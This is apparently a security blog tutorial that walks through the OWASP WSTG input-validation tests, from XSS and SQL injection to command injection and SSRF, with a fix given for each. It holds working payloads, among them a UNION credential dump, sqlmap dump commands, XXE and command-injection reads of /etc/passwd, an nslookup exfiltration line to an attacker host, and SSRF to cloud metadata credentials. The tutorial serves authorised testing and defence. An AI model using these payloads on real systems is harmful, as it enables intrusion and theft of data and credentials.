OWASP WSTG v4.2 Explained

OWASP WSTG: Part 8 - Input Validation

WSTG v4.2 section 4.7 explained: the 19 input-validation tests, from reflected and stored XSS, HTTP parameter pollution and SQL/NoSQL/LDAP/XML injection to SSTI, SSRF, command injection, host-header injection and HTTP smuggling, with payloads and fixes.

15 min read
views
visits
OWASP WSTG Part 8 - Input Validation
OWASP WSTG Part 8 - Input Validation

This is the largest category in WSTG, and for good reason: most classic web vulnerabilities come from trusting user input. When data from a request reaches an interpreter (an HTML page, a SQL query, the shell, a template engine, an HTTP library) without being validated or encoded for that context, the attacker’s input becomes the application’s instructions.

Input Validation testing (WSTG section 4.7, IDs WSTG-INPV-*) has 19 tests: cross-site scripting, every flavour of injection, and the request-level attacks (host header, HTTP smuggling, SSRF). This part is a map of all of them with the key payloads and the fix for each.

Source: WSTG v4.2 §4.7 Input Validation Testing (CC BY-SA 4.0), explained and expanded. Use these payloads only against systems you are authorised to test.


Key Takeaways

  • One root cause, many names: untrusted data reaching an interpreter without context-correct handling.
  • The fix is almost always the same shape: validate input (allow-list), and encode/parameterise for the exact context it is used in (HTML, SQL, shell, LDAP, template).
  • Injection and XSS remain in the OWASP Top 10 because they are easy to introduce and high impact.
  • Think in sinks: find where input is used (query, page, command, request), not just where it enters.
  • Blind is still exploitable: no visible output does not mean no vulnerability. Use time delays and out-of-band (OAST) callbacks.

The One Pattern Behind Every Test

flowchart LR
    IN["Untrusted input<br/>param, header, cookie, body, file"] --> APP["Application"]
    APP --> SINK{"Which interpreter<br/>does it reach?"}
    SINK -->|HTML / browser| XSS["XSS, HTML injection"]
    SINK -->|SQL / NoSQL / LDAP / XPath| INJ["Injection"]
    SINK -->|OS shell| CMD["Command injection"]
    SINK -->|Template engine| SSTI["SSTI"]
    SINK -->|Server-made HTTP request| SSRF["SSRF"]
    SINK -->|Raw HTTP / proxy| SMUG["Smuggling, host header"]

Cross-Site Scripting

WSTG-INPV-01: Reflected XSS

What it checks: input that is reflected straight back into the response and executed by the browser, delivered per-request (via a crafted link).

How to test: find reflected parameters, inject a marker, and escalate:

1
2
3
"><script>alert(document.domain)</script>
'"><img src=x onerror=alert(document.domain)>
javascript:alert(1)                         (in URL/attribute sinks)

If output is filtered, test the context (inside a tag, an attribute, a script block, a URL) and bypasses (case, encoding, event handlers, <svg>/<img>).

Fix: context-aware output encoding, a strong Content Security Policy, and input validation. See Part 12 (DOM XSS) for the client-side variant.

WSTG-INPV-02: Stored XSS

What it checks: the same, but the payload is saved (a comment, profile name, support ticket) and runs for every viewer, including admins. This is the most dangerous XSS.

How to test: submit a marker into every stored field, then view it everywhere it appears (lists, admin panels, exports, emails). Remember fields filled indirectly: filenames on upload, user-agent logged into an admin dashboard.

Fix: encode on output in each context, validate on input, and apply CSP. Never rely on client-side sanitisation alone.


WSTG-INPV-03: HTTP Verb Tampering

What it checks: whether using an unexpected HTTP method bypasses access control or produces different behaviour. (Merged in practice with the method testing in Part 3, CONF-06.)

How to test: replay a protected request with HEAD, PUT, DELETE, PATCH or a made-up verb, and watch for a 403 that becomes 200, or a security filter that only inspects GET/POST.

Fix: apply authorization independent of the method; deny unknown methods.


WSTG-INPV-04: HTTP Parameter Pollution (HPP)

What it checks: how the app and its components behave when the same parameter appears twice, which can bypass filters or change logic.

1
2
GET /search?q=benign&q=<script>alert(1)</script>
POST  amount=10&amount=9999

Different stacks pick the first value, the last, or concatenate them. A WAF might check one copy while the app uses another.

Fix: reject or canonicalise duplicate parameters, and validate the final value the application actually uses.


Injection

WSTG-INPV-05: SQL Injection

What it checks: whether user input can alter a SQL query, letting an attacker read, modify or (sometimes) run commands on the database. WSTG v4.2 splits this into the generic test plus engine-specific pages (Oracle, MySQL, SQL Server, PostgreSQL, MS Access) and variants (NoSQL, ORM, client-side Web SQL).

How to test:

  1. Detect: send a single quote and SQL-meaningful input and watch for errors or changed behaviour:
1
2
3
4
'          "          `          \
1' OR '1'='1' --        1 OR 1=1
1' AND SLEEP(5)--        (time-based blind)
' UNION SELECT NULL,NULL--  (column discovery)
  1. Classify: error-based, UNION-based, boolean-blind, time-blind, or out-of-band.
  2. Fingerprint the database from error text and version functions (@@version, version()).
  3. Exploit carefully (dump the schema, read a single proof record). Automate with sqlmap:
1
2
sqlmap -u 'https://example.com/item?id=1' --batch --dbs
sqlmap -r request.txt --batch --level 3 --risk 2

NoSQL (e.g. MongoDB) uses operator injection:

1
{"username": "admin", "password": {"$ne": null}}

ORM injection reaches the same SQL through an ORM; client-side targets the browser Web SQL database.

Fix: parameterised queries / prepared statements everywhere, least-privilege DB accounts, input allow-listing, and an ORM used safely (no string-built queries).

WSTG-INPV-06: LDAP Injection

What it checks: input placed into LDAP filters, letting an attacker alter directory queries (often to bypass login or read directory data).

1
2
*            )(uid=*))(|(uid=*       *)(uid=*))(|(uid=*
admin)(&))        in a login filter -> authentication bypass

Fix: escape LDAP special characters (* ( ) \ NUL /), use the framework’s filter-building API, and validate input.

WSTG-INPV-07: XML Injection

What it checks: injecting XML syntax into data the app parses, breaking structure or adding nodes; often leads to XXE (covered with Part 10 crypto/XML context and the XXE cheat sheet).

1
2
3
4
<!-- Tag injection: add a privileged node -->
username</username><admin>true</admin><username>x
<!-- XXE: read a local file -->
<!DOCTYPE x [<!ENTITY e SYSTEM "file:///etc/passwd">]><x>&e;</x>

Fix: disable external entities and DTDs in the XML parser, validate against a schema, and encode input placed into XML.

WSTG-INPV-08: SSI Injection

What it checks: Server-Side Includes directives injected into pages the server parses (.shtml), which can run commands or read files.

1
<!--#exec cmd="ls" -->        <!--#include virtual="/etc/passwd" -->

Fix: disable SSI where not needed, do not place user input into SSI-parsed pages, and encode < > # -.

WSTG-INPV-09: XPath Injection

What it checks: input placed into XPath queries over XML data, with the same always-true bypass idea as SQLi.

1
' or '1'='1          x'] | //user/* | a['

Fix: parameterise XPath (precompiled expressions with variables) and escape input.

WSTG-INPV-10: IMAP/SMTP Injection

What it checks: webmail and contact forms that build IMAP/SMTP commands from input, letting an attacker inject mail commands or send spam.

1
To: victim@example.com%0d%0aBcc: everyone@target        (CRLF header injection)

Fix: strip CR/LF from input used in mail commands, validate addresses, and use a mail library that separates headers from data.


WSTG-INPV-11: Code Injection (incl. LFI / RFI)

What it checks: input that gets executed as application code, and the inclusion of files (Local File Inclusion / Remote File Inclusion) that leads to it.

1
2
3
LFI:  ?page=../../../../etc/passwd         ?page=php://filter/convert.base64-encode/resource=config
RFI:  ?page=http://attacker/evil.txt
eval sinks: ;phpinfo();       (if it's actually a template -> see SSTI)

LFI can become code execution via log poisoning, php://filter/data: wrappers, or including an uploaded file. (Path-traversal detail is in Part 6, ATHZ-01.)

Fix: never pass user input to eval/include/require; allow-list includable files; disable remote includes (allow_url_include=Off); run with least privilege.


WSTG-INPV-12: Command Injection

What it checks: input that reaches an OS shell, letting the attacker run system commands.

1
2
; id        | id        `id`       $(id)       && id       %0a id
127.0.0.1; cat /etc/passwd        (in a "ping" feature)

For blind cases, use time delays or out-of-band callbacks:

1
; sleep 10        ; nslookup $(whoami).attacker.oast.site

Fix: avoid calling the shell; use APIs that take arguments as an array (no shell parsing); if a command is unavoidable, allow-list and escape strictly; least privilege.


WSTG-INPV-13: Buffer Overflow & Format String

What it checks: memory-safety issues in native code behind the web app (rare in managed languages, relevant for C/C++ components): buffer overflows (oversized input corrupting memory) and format-string bugs (%x, %n reaching printf-style functions).

How to test: send long inputs and format specifiers to parameters handled by native code, and watch for crashes (500, resets) or leaked memory.

Fix: bounds-checked APIs, never pass user input as a format string, and memory-safe languages or hardened libraries.


WSTG-INPV-14: Incubated Vulnerability

What it checks: a two-stage attack where tainted data is stored first and causes harm later when processed by another user or component (stored XSS that fires in an admin report, a poisoned record that a batch job executes). Also called a persistent/second-order vulnerability.

How to test: plant a marker through one feature (upload, comment, import) and watch where it later surfaces or runs (admin panels, scheduled jobs, PDF/report generators, other users’ views).

Fix: validate and encode data both when stored and when used; treat stored data as untrusted on the way out.


Request-Level Attacks

WSTG-INPV-15: HTTP Splitting / Smuggling

What it checks: injecting CRLF to split responses (header injection, cache poisoning) or exploiting how a front-end proxy and back-end server disagree on request boundaries (request smuggling).

1
2
Response splitting:  value%0d%0aSet-Cookie:%20sessionid=attacker
Smuggling:  conflicting Content-Length vs Transfer-Encoding headers

How to test: inject CR/LF into values reflected in headers; for smuggling, send crafted CL.TE/TE.CL requests (Burp’s HTTP Request Smuggler).

Fix: reject CR/LF in header values, use a single modern HTTP stack end-to-end, and normalise Transfer-Encoding/Content-Length.

WSTG-INPV-16: HTTP Incoming Requests

What it checks: monitoring and handling of incoming requests (an operational/verification test): are requests logged, are unexpected methods/headers handled safely, is there a reverse proxy inspecting traffic.

Fix: log and monitor requests, and ensure anomalous requests are handled and alerted.

WSTG-INPV-17: Host Header Injection

What it checks: whether the app trusts the Host (or X-Forwarded-Host) header, which the client controls. Trusting it enables poisoned password-reset links, cache poisoning and routing-based SSRF.

1
2
POST /reset HTTP/1.1
Host: attacker.evil           <- reset email link may point here

How to test: change Host/X-Forwarded-Host and watch for it reflected in links, emails, redirects or cache keys (connects to Part 5 ATHN-09).

Fix: validate Host against an allow-list of known domains, build absolute URLs from server config (not the header), and configure the framework’s trusted hosts.

WSTG-INPV-18: Server-Side Template Injection (SSTI)

What it checks: input evaluated by a server template engine (Jinja2, Twig, Freemarker, Velocity, ERB), which can lead to data disclosure and remote code execution.

1
        ${7*7}        <%= 7*7 %>        #{7*7}

A response of 49 means the expression was evaluated. Then escalate per engine (e.g. Jinja2 ``) toward RCE.

How to test: inject the polyglot probes above into every input reflected in a rendered page or generated document (emails, PDFs); tplmap helps.

Fix: never build templates from user input; pass user data as data to a fixed template; sandbox the engine; validate input.

WSTG-INPV-19: Server-Side Request Forgery (SSRF)

What it checks: whether the app can be made to send HTTP (or other) requests to a destination the attacker chooses, reaching internal services, cloud metadata, or arbitrary URLs.

1
2
3
url=http://169.254.169.254/latest/meta-data/        (AWS metadata -> credentials)
url=http://localhost:6379/                           (internal Redis)
url=file:///etc/passwd        url=gopher://...        (other schemes)

How to test: find features that fetch a URL (webhooks, image/PDF from URL, link preview, import, SSO metadata). Point them at an OAST/Collaborator host first to prove the callback, then at internal targets. Test bypasses: IP encodings, redirects, DNS rebinding, alternate schemes.

Fix: allow-list the destinations the server may call, resolve and validate the address (block private/link-local ranges), disable unused URL schemes and redirects, and require authentication on internal services (IMDSv2 for AWS).


Worked Example 1: SQL Injection → Parameterised Query (INPV-05)

Vulnerable (PHP) — the search term is concatenated straight into the query:

1
2
3
4
// product search
$q = $_GET['q'];
$sql = "SELECT id, name, price FROM products WHERE name LIKE '%$q%'";
$rows = $db->query($sql);     // attacker's input becomes SQL

Exploit — break out of the string, then pull data from another table with UNION:

1
2
3
4
5
6
7
8
# 1. confirm injection: a quote breaks the query (error or different result)
q = test'

# 2. find the column count
q = test' ORDER BY 3-- -        (works)      ORDER BY 4-- -   (error -> 3 columns)

# 3. exfiltrate credentials via UNION
q = x' UNION SELECT username, password, 3 FROM users-- -

Or just let sqlmap do the detection and extraction on an authorised target:

1
sqlmap -u 'https://example.com/search?q=test' --batch --technique=U --dump -T users

Fixed — a parameterised (prepared) statement: the driver sends the query and the data separately, so input can never be parsed as SQL:

1
2
3
$stmt = $db->prepare("SELECT id, name, price FROM products WHERE name LIKE ?");
$stmt->execute(['%' . $_GET['q'] . '%']);   // the '%' are data, not the query
$rows = $stmt->fetchAll();

Parameterisation is the fix in every language — it is not about escaping harder:

1
2
# Python (psycopg2) — correct
cur.execute("SELECT * FROM products WHERE name LIKE %s", ('%' + q + '%',))
1
2
// Node (pg) — correct
await pool.query('SELECT * FROM products WHERE name LIKE $1', [`%${q}%`]);

Add least-privilege DB accounts and input allow-listing as defence in depth, but the prepared statement is what closes the hole.


Worked Example 2: SSRF Reaching Cloud Metadata (INPV-19)

Vulnerable (Python) — a “fetch image from URL” feature calls any URL the user supplies:

1
2
3
4
5
@app.post("/import-avatar")
def import_avatar():
    url = request.form["url"]
    img = requests.get(url, timeout=5).content   # server fetches attacker's URL
    return save_avatar(img)

Exploit — point it at the cloud metadata service to steal instance credentials:

1
2
url = http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-role
# -> AccessKeyId / SecretAccessKey / Token for the instance's IAM role

Prove it blind first with an out-of-band callback, then escalate:

1
2
url = http://YOUR-ID.oast.site/           (confirms the server makes the request)
url = http://localhost:6379/              (reach internal-only services)

Fixed — allow-list the destinations and block internal ranges after resolving the name (to defeat DNS-rebinding), and disable redirects and unused schemes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import ipaddress, socket
from urllib.parse import urlparse

ALLOWED_HOSTS = {"images.cdn.example.com"}

def safe_fetch(url):
    u = urlparse(url)
    if u.scheme != "https" or u.hostname not in ALLOWED_HOSTS:
        raise ValueError("destination not allowed")
    # resolve and reject private / link-local addresses
    ip = ipaddress.ip_address(socket.gethostbyname(u.hostname))
    if ip.is_private or ip.is_loopback or ip.is_link_local:
        raise ValueError("blocked address")
    return requests.get(url, timeout=5, allow_redirects=False).content

On AWS, also require IMDSv2 (session-token metadata), which blocks the simplest SSRF-to-metadata path entirely.

Real-world case — Capital One (2019). An SSRF through a misconfigured WAF reached the EC2 metadata service and retrieved IAM credentials, which were used to read ~100 million records from S3. SSRF moved from “interesting” to “critical” in the industry’s mind after this breach, and is now #7 in the OWASP API Security Top 10.


Hands-on Practice

The free PortSwigger Web Security Academy has dedicated, graded labs for almost every test here: SQL injection, XSS, SSRF, SSTI, command injection, XXE, HTTP request smuggling and host header. Also: Juice Shop (SQLi login bypass, DOM/stored XSS, SSRF), DVWA and WebGoat (guided injection lessons).


Checklist: Input Validation

ID Test Key tools
WSTG-INPV-01/02 Reflected / stored XSS Burp, XSS Hunter, BeEF, payload lists
WSTG-INPV-03 HTTP verb tampering Burp, curl
WSTG-INPV-04 HTTP parameter pollution Burp
WSTG-INPV-05 SQL / NoSQL / ORM / XPath-data injection sqlmap, NoSQLMap, Burp
WSTG-INPV-06 LDAP injection Burp, manual filters
WSTG-INPV-07 XML injection / XXE Burp, XXEinjector
WSTG-INPV-08 SSI injection Burp
WSTG-INPV-09 XPath injection Burp
WSTG-INPV-10 IMAP/SMTP injection Burp
WSTG-INPV-11 Code injection / LFI / RFI ffuf, LFISuite, Burp
WSTG-INPV-12 Command injection Burp, commix, OAST
WSTG-INPV-13 Buffer overflow / format string Fuzzers (native components)
WSTG-INPV-14 Incubated / second-order Burp, manual tracing
WSTG-INPV-15 HTTP splitting / smuggling Burp HTTP Request Smuggler
WSTG-INPV-16 HTTP incoming requests Logs, proxy review
WSTG-INPV-17 Host header injection Burp
WSTG-INPV-18 Server-side template injection tplmap, Burp
WSTG-INPV-19 Server-side request forgery Burp Collaborator / OAST

Previous: Part 7 - Session Management · Next: Part 9 - Error Handling


References

Further reading & tooling

Comments

Questions, corrections or another approach? Comment with your GitHub account.

Open Research & Community Labs
صدقة جارية • Ongoing Charity

Empowering the Cybersecurity Community

All research, lab walkthroughs, and technical series on this platform remain 100% free. You can support server hosting, research environments, and lab infrastructure.

Support & Wall of Honor
اللهم اجعل هذا العمل علمًا نافعًا وصدقةً جارية، واكتب لي به الأجر والقبول، وانفع به كل من قرأه أو تعلّمه.
اللهم احفظ لي والديّ وأهلي، وبارك في أعمارهم وصحتهم، وأدم عليهم نعمة الصحة والعافية، ولا تريني فيهم بأسًا يبكيني.
Dedicated as ongoing charity and beneficial knowledge. May Allah bless my parents and family, protect them, and grant them lasting health and happiness.